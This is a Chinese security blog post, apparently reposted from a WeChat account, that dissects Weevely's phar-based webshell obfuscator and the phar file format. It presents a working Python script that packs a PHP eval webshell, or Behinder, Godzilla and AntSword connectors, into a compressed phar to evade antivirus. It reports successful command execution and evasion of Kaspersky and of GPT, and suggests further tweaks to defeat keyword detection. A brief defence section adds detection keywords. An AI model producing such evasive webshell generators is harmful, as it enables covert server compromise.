Weevely是一款基于Python语言开发的渗透测试工具,主要用于在目标主机上执行远程操作,类似中国菜刀。本篇文章主要介绍Weevely免杀马原理。
一、背景
前几天,同事突然给了我一个php木马让我看看,攻击者使用的是phar文件,但是该phar文件可以执行被当作php文件来执行,且里面写了执行代码(使用了zlib压缩)。最重要的是,上传到微步报 正常文件。
只有卡巴斯基报了毒
具体文件内容如下
┌──(root㉿kali)-[~/Desktop]└─# xxd 123.phar 00000000: 3c3f 70687020696e 636c 75646520225c <?phpinclude"00000010: 3136 305c 7836 385c 3134 315c 7837 325c 160x68141x7200000020: 3732 5c35 375c 3537 222e 6261 7365 6e61 725757".basena00000030: 6d65 285f 5f46 494c 455f 5f29 2e225c35 me(__FILE__)."500000040: 375c 7837 3822 3b5f 5f48 414c 545f 434f 7x78";__HALT_CO00000050: 4d50 494c 455228293b20 3f3e 2f00 0000 MPILER(); ?>/...00000060: 01000000110000100100000000000000 ................00000070: 00000100000078e10100000000000057 ......x........W00000080: 0100001445f6 4bff 1100000000000055 ....E.K........U00000090: 90514bc3 301485df fb2b 4ab8 cc84 0eb7 .QK.0....+J.....000000a0: ea98 cc2c 58049f7c 515f c72c 6d77 b365 ...,X..|Q_.,mw.e000000b0: 6b93 92662a1b fbef de56 14241038 dfe5 k..f*....V.$.8..000000c0: 9ccb b9cb 8776 d7c6 f851 d4fc 0a0e 8aa5 .....v...Q......000000d0: 8b79 39d5 e98c 4938 ec14 c3b2 98cf 319d .y9...I8......1.000000e0: eab2 b8eb 91566cb6 29f5 02178bea e646 .....Vl.)......F000000f0: 136a 150b af27 bcd5 cdf3 e793 7e7c 79db .j...'......~|y.00000100: 9d98 8c22 7db4 5530 cec6 5f1c c218 0ee2 ..."}.U0.._.....00000110: 1c41 a5ba e06b b49c a484 fa4f 0552 4e31 .A...k.....O.RN100000120: b269 e739 1835 9560 9650 4b32 0d64 4f84 .i.9.5.`.PK2.dO.00000130: fe25 54a3 d130 21c3 3e49 c660 9244 4494 .%T..0!.>I.`.DD.00000140: ecae 1584 1598 f53b 1c56 b05f cbe8 42cf .......;.V._..B.00000150: 6338 7a1b 83eb a5d1 31cf 5a8f dbbc 2942 c8z.....1.Z...)B00000160: b5e3 6c42 05f9 7522 a8d4 848d 336d 6acc ..lB..u"....3mj.00000170: b718 f2ca d980 3674 9cd1 65ee 2713 63db ......6t..e.'.c.00000180: 6360620c 8d50 2a15 f139 ca5c 9977 a1f0 c`b..P*..9..w..00000190: 810b 1965 c3ed b2ed 890a bb86 16741dcf ...e.........t..000001a0: be78 56161dce 67f9 062b b741 0ecd 2a5d .xV...g..+.A..*]000001b0: 8bfe 0e823cd4 b6cf f8b7 ad8f 22867693 ....<.......".v.000001c0: 5735 16b6 07e0 d56f 0eda 21a7 4fde 9efe W5.....o..!.O...000001d0: 1681 fbc9 9451 eb8d 0d9c 414b adc0 5327 .....Q....AK..S'000001e0: 46f0 7225 e437 8bdc 22b1 ccc2 9a87 45f4 F.r%.7..".....E.000001f0: fcf3 0217 b585 36a4 9120020000004742 ......6.. ....GB00000200: 4d42 MB┌──(root㉿kali)-[~/Desktop]└─# cat 123.phar <?phpinclude"160x68141x72725757".basename(__FILE__)."57x78";__HALT_COMPILER(); ?>/x�WE�K�U�QK�0���+J�����,X�|Q_�,mw�ek��f*��V$8���˹ˇv���Q�����y9���I8�ò��1�겸��Vl�)����FjdO��%T��0!�>I�`�DD������;V�_��B�c8z���1�Z�ۼ)B��lB�u"�Ԅ�3mj▒��ـ6t��e�'c�c`b�`�PK2 �P*�9��w��� e������AK��S'F�r%�7��"���E�����6�� GBMB
二、客户端生成源码分析
默认混淆器
在weevely源码中,bd目录里面有agent目录和obfuscators目录。其中 agent 目录为webshell来 代码执行的php代码。obfuscators目录为来混淆 代码执行 的代码。其中 myobfusc.tpl 是我自己写的。
且在利用工具生成木马时,可以选择 agents 和 obfuscators。
weevely generate -agent obfpost_php -obfuscator obfusc1_php "An0ma1" ./An0ma1.php
其中 cleartext1_php 是无混淆模式,即直接输出 代码执行 的连接代码
obfusc1_php混淆器 做了混淆,但混淆力度不够,有特征值,会轻易被杀。具体可以参考这篇文章
实战Webshell管理工具Weevely检测思路分析 - FreeBuf网络安全行业门户
重点要分析的是 phar 混淆器。微步云沙箱报正常文件
混淆器源码如下,agent 为传入的变量,值为 代码执行 的连接代码,即obfpost_php里面的值
<%!import ioimport zlibimport base64import hashlibfrom datetime import datetime%><%clean_agent = agent.strip(b'n')stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""fname = b'x'f = b'<?php eval(''+clean_agent+b'');'fenc = zlib.compress(f)[2:-4]flags = 0x00011000output = io.BytesIO()output.write(stub)# Manifestmanifest_len_cursor = output.tell()output.write(b'����') # Placeholder for manifest lengthoutput.write((1).to_bytes(4, 'little'))output.write(b'x11x00') # Phar versionoutput.write((flags).to_bytes(4, 'little'))output.write((0).to_bytes(4, 'little')) # Aliasoutput.write((0).to_bytes(4, 'little')) # Metadata# Entry manifestoutput.write(len(fname).to_bytes(4, 'little'))output.write(fname)output.write(len(f).to_bytes(4, 'little'))output.write(int(0).to_bytes(4, 'little')) # Timestampoutput.write(len(fenc).to_bytes(4, 'little'))output.write(zlib.crc32(f).to_bytes(4, 'little'))output.write((0o777 | 0x00001000).to_bytes(4, 'little'))output.write((0).to_bytes(4, 'little'))# Fix manifest lengthmanifest_len = output.tell() - manifest_len_cursor - 4s, t = manifest_len_cursor, manifest_len_cursor + 4output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little')# Contentoutput.write(fenc)output.write(hashlib.sha1(output.getvalue()).digest())output.write((0x0002).to_bytes(4, 'little'))output.write(b'GBMB')%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}
下面会 phar 文件格式 进行详细解释
phar 文件格式
PHAR(PHP Archive)是PHP的归档文件格式,类似于JAR文件,可将多个PHP文件、资源打包为单一文件。
先看一个简单例子
<?phpclassTestObject{}$phar = new Phar("phar.phar"); //生成时,后缀名必须为phar$phar->startBuffering(); //开启缓存$phar->setStub("<?php __HALT_COMPILER();?>"); //设置stub$o = new TestObject();$phar->setMetadata($o); //设置元数据$phar->addFromString("An0ma1.txt","An0ma1"); // 添加数据存储$phar->stopBuffering(); // 结束后会自动签名?>
phar 文件格式分四部分
Stub部分
首先,生成一个phar时,一定要有stub,且 stub 一定要以 __HALT_COMPILER(); ?>
结尾,注意:封号后门必须有一个空格,这里主要是 通过__HALT_COMPILER(); ?>
标记PHAR文件元数据开始部分
Manifest元数据
二进制数据,小端序
偏移量 | 长度 | 字段 | 示例值 | 说明 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
数据存储
偏移量 | 长度 | 字段 | 示例值 | 说明 |
|
|
|
0x01000000 |
x <br><br>) |
|
|
|
|
|
|
|
|
0x14000000 |
|
|
|
|
0x00000000 |
|
|
|
|
0x0F000000 |
|
|
|
|
0x78563412 |
0x12345678 <br><br>的小端序表示) |
|
|
|
0xFF110000 |
0o777
0x1000 <br><br>压缩标志组合(实际值0x11FF <br><br>小端序) |
|
|
|
0x00000000 |
|
签名部分
偏移量 | 长度 | 字段 | 示例值 | 说明 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
三、对免杀马进行分析
对上面免杀马的模板继续 依次分析
clean_agent = agent.strip(b'n')stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""fname = b'x'f = b'<?php eval(''+clean_agent+b'');'fenc = zlib.compress(f)[2:-4]flags = 0x00011000output = io.BytesIO()output.write(stub)
-
首先,写入 Stub 部分。 -
phar要保存的文件名为x。 -
将要混淆的 代码执行 的连接代码 使用 eavl 包裹。 -
对文件内容进行 zlib 压缩,去除 zlib头尾。 -
flags 是个标识位,后面再说
# Manifestmanifest_len_cursor = output.tell()output.write(b'����') # Placeholder for manifest lengthoutput.write((1).to_bytes(4, 'little'))output.write(b'x11x00') # Phar versionoutput.write((flags).to_bytes(4, 'little'))output.write((0).to_bytes(4, 'little')) # Aliasoutput.write((0).to_bytes(4, 'little')) # Metadata
-
先填入4字节的元数据总长度占位,后面填写完再计算总长度,修改该位置 -
4字节的 文件数量,由于只包含一个 x ,即文件数量为1 -
2字节 的 phar 文件版本标识 -
4字节的标识位,该值固定,可当特征 0x00011000 ,表示进行压缩和SHA1签名 -
4字节的别名长度,这里为0 -
4字节的 元数据类型 ,无序列化的metadata,这里为0。(让我想起了 ctf 里面 phar序列化)
# Entry manifestoutput.write(len(fname).to_bytes(4, 'little'))output.write(fname)output.write(len(f).to_bytes(4, 'little'))output.write(int(0).to_bytes(4, 'little')) # Timestampoutput.write(len(fenc).to_bytes(4, 'little'))output.write(zlib.crc32(f).to_bytes(4, 'little'))output.write((0o777 | 0x00001000).to_bytes(4, 'little'))output.write((0).to_bytes(4, 'little'))# Fix manifest lengthmanifest_len = output.tell() - manifest_len_cursor - 4s, t = manifest_len_cursor, manifest_len_cursor + 4output.getbuffer()[s:t] = manifest_len.to_bytes(4, 'little')# Contentoutput.write(fenc)
-
4字节的文件名长度 -
接着写入文件名,这里文件名为 x ,即写入1字节 0x78 -
4字节的未压缩文件内容长度 -
4字节的时间戳 -
4字节的压缩后文件内容长度 -
4字节的crc32校验,对未压缩的文件内容进行crc32校验 -
4字节的文件权限 权限+压缩标志。0x00001000 表示使用 zlib 压缩。0o777 | 0x00001000的值为 xffx11x00x00,可以当作特征 -
4字节文件元数据长度,这里为0 -
之后代码就是计算写入的元数据部分和文件存储部分总长度,然后修改之前元数据长度 -
接着写入zlib压缩之后的文件内容
output.write(hashlib.sha1(output.getvalue()).digest())output.write((0x0002).to_bytes(4, 'little'))output.write(b'GBMB')%>b64:${base64.b64encode(output.getvalue()).decode('utf-8')}
-
之后就是20字节的 对已经写入内容的sha1签名信息。 -
0x0002 表示签名类型,这里为 sha1。 -
GBMB为魔术签名,格式固定。
这里肯定有人好奇,既然写入x文件的内容是 zlib压缩的,那为什么直接 include basename(__FILE__)x
。没有 对 文件内容的解码部分?
是这样的,这是 phar文件的自动解压机制解析 。PHAR文件的自动解压依赖于文件条目中的压缩标志位 ,即代码中 output.write((0o777 | 0x00001000).to_bytes(4, 'little')) # 权限+压缩标志
这段。 其中 0x00001000
对应 PharEntry::COMPRESSED
,激活自动解压。
四、自写免杀马
上面混淆代码本质 是 在 phar 文件里面嵌入一段其它的php代码。那么这段代码可不可以是 冰蝎,哥斯拉,蚁剑的连接代码?说白了,这就像是一个壳。使用python进行整理,脚本如下
code 变量里面可以切换为 冰蝎,哥斯拉,蚁剑的连接代码
测试该格式的木马 适用版本 PHP 5.3+
import ioimport zlibimport base64import hashlibimport argparsedef generate_phar(agent_code: bytes) -> bytes:# 清理输入代码 clean_agent = agent_code.strip(b'n')# 1. 构造Phar存根(路径混淆) stub = b"""<?php include "\160\x68\141\x72\72\57\57".basename(__FILE__)."\57\x78";__HALT_COMPILER(); ?>"""# 2. 构造内部恶意代码 fname = b'x' f = clean_agent# 3. 压缩内容(绕过基础检测) fenc = zlib.compress(f)[2:-4] # 移除zlib头尾# 4. 初始化二进制流 output = io.BytesIO() output.write(stub)# 5. 写入Manifest占位符 manifest_len_cursor = output.tell() output.write(b'����') # 6. 构建Manifest结构 output.write((1).to_bytes(4, 'little')) output.write(b'x11x00') output.write((0x00011000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # 7. 写入文件条目 output.write(len(fname).to_bytes(4, 'little')) output.write(fname) output.write(len(f).to_bytes(4, 'little')) output.write(int(0).to_bytes(4, 'little')) output.write(len(fenc).to_bytes(4, 'little')) output.write(zlib.crc32(f).to_bytes(4, 'little')) output.write((0o777 | 0x00001000).to_bytes(4, 'little')) output.write((0).to_bytes(4, 'little')) # 8. 修正Manifest长度 manifest_len = output.tell() - manifest_len_cursor - 4 output.seek(manifest_len_cursor) output.write(manifest_len.to_bytes(4, 'little'))# 9. 追加压缩内容 output.seek(0, io.SEEK_END) output.write(fenc)# 10. 计算签名 full_content = output.getvalue() output.write(hashlib.sha1(full_content).digest()) output.write((0x0002).to_bytes(4, 'little')) output.write(b'GBMB') return base64.b64encode(output.getvalue())if __name__ == "__main__": code="<?php @eval($_POST['cmd']);?>"# 生成并输出Base64结果 b64_phar = generate_phar(code.encode('utf-8'))print(f"b64:{b64_phar.decode('utf-8')}") with open("123.php","wb") as f: f.write(base64.b64decode(b64_phar))print("Done!")
冰蝎测试成功
哥斯拉测试成功
为什么卡巴斯基会查杀,个人测试其可能使用了熵值检测 或关键词 include "160x68141x72725757".basename(__FILE__)."57x78";__HALT_COMPILER(); ?>
。我生成php文件内容如下
可以正常执行命令
但是卡巴斯基不杀了。且GPT也没有发现这是一个木马文件
一些思考
对免杀马的进一步魔改,首先 __HALT_COMPILER(); ?>
之前代码可以随便写。
其次,上面使用的是 0o777 | 0x00001000。即 zlib 加密方式,是不是可以改成 0x00002000 Bzip2压缩 , 0x0000F000 压缩算法掩码 等其它格式。0o777是不是权限太大了,改成 0o750。
签名部分是不是可以改成 0x0001 md5签名。 0x0004 OpenSSL签名 。
文件名是不是可以修改。
二进制一些字段。 别名长度 元数据类型 API版本 Unix时间戳,全局标识 是不是可以修改。
这些修改之后可以进一步 过掉 杀软的关键词查杀。(当然,现在还没有)
五、防御
-
禁用Phar扩展
; php.ini配置phar.readonly = Onallow_url_include = Off
-
杀软对web文件,php,phar,phtml,pht等内容进行熵值检测 -
查杀关键字 GMBN``xffx11x00x00``basename(__FILE__)
条件同时存在
关 注 有 礼
欢迎关注公众号:网络安全者
本文内容来自网络,如有侵权请联系删除
原文始发于微信公众号(网络安全者):实战Weevely管理工具免杀马研究即生成另类免杀马
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论